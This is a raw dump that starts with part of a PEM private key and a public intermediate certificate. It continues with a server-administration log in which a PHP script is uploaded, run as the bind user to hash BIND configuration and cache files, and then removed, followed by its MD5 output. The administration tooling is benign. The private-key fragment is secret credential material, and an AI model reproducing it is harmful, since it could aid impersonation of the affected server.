Aeu/hgW4CbqEnHpXHzLegFFY0kqzoaah97CKdGAbwBzAwE0COH3PQZVIHhSu5VZN
rH/PcusgqwxGm9wA8tfRagcTZpaeSEUbB2dQ7Z9DnjTfo58oALvS/+cZcKiKuRWS
TmjRVVB3UqK1H3qUvNJXmb7/Hjw9aoSR9LVeA4Y3mDCQnxMQW8jZwpEz385pZ3no
FcKXhL5wtY91YrrSSktjx0UFlliSB5kInFUgPM9q4QKBgQDqTm9YYqLy5GnVjjyD
3rUnd/t5l1xRc5qs+BX2bhzueZZhDksNrDf5AgD2mlfPJsMhcB9f7rs4iVaDMOIr
M3sVuI36fnVN9wl7BA9mv3SnheEg+sIrfHIGjNy88x9ViRapFz2Sc2rTngyqNa34
AwrUjnYntA2bgZJ2WCDxqeJGyQKBgQDC1u36QXwFhGRxhUcyITXfbBavKkvwk8L1
gqN8BhklDOhyc2wDwS0Kq13YbqWC44Ig4V4N4fwlrN+xwRGnm8PQmeqe2pwt5B0J
VTFsKTdUPtH5W20gM9ObwoCG72K+4bRZpcwyMhgOqZoUw2rttQ5QRA7aMoNvwyFL
n2+td7xBIQKBgGlf8Q+M/L/EHhzfJTQhWtNvUHe0rN4s4alcwXPcvcI6iHkJ1pNF
mr6wOgKuE0OkqSlGpbWdRjH9Ah1qRK0tL/Pq1l+Ls/HmYisi/lI1VJ9qxH7yh5TL
GPT9MOEBblwnlTtiqlxM8ARQFl4OWjkqFRrXHyhn/56qPVZf+CD3SD6RAoGALrPQ
FUVvEe97GA7nUufM/wHsqg4MZ90zRSAMSeU4T745VX2/LWM3hbAv7XoQKECaZ4E9
xzwc8Xbvo67wqWlX1X+fUnZ6KzHbl+oYz6FNht8L+6ZjkO17UoGbxzxIQhLd5QMt
3/ZL9+/FZCa3UcUtaiX2HW0wPjDaoULVRRJHSKECgYEArU/VWcqb7huaJBhNbivZ
UQ25Xu/cSnYqRCMUnTjSFtQ0uK6X+Uxk4Q2ceKHtuHQnrjxs2I9h4vizwB9y7Laz
lo9Kaj6Qrew2QMH3lxGmsGtG/Uy8pEXyiy0P8OzzaJJ4RBl+FJE3MVxyHNSIFPPK
99CgdVtRLeUu3jKRay28Zm0=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-08 17:09:04: Establishing a connection
2026-03-08 17:09:04: 

PUT: /tmp/pkp916484

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-08 17:09:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp916484; rm /tmp/pkp916484'

2026-03-08 17:09:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-08 18:50:31: Establishing a connection
2026-03-08 18:56:18: Establishing a connection
2026-03-08 18:56:18: 

PUT: /tmp/pkp130813

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-08 18:56:18: 

runuser -l bind -s /bin/bash -c '/tmp/pkp130813; rm /tmp/pkp130813'

2026-03-08 18:56:18: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
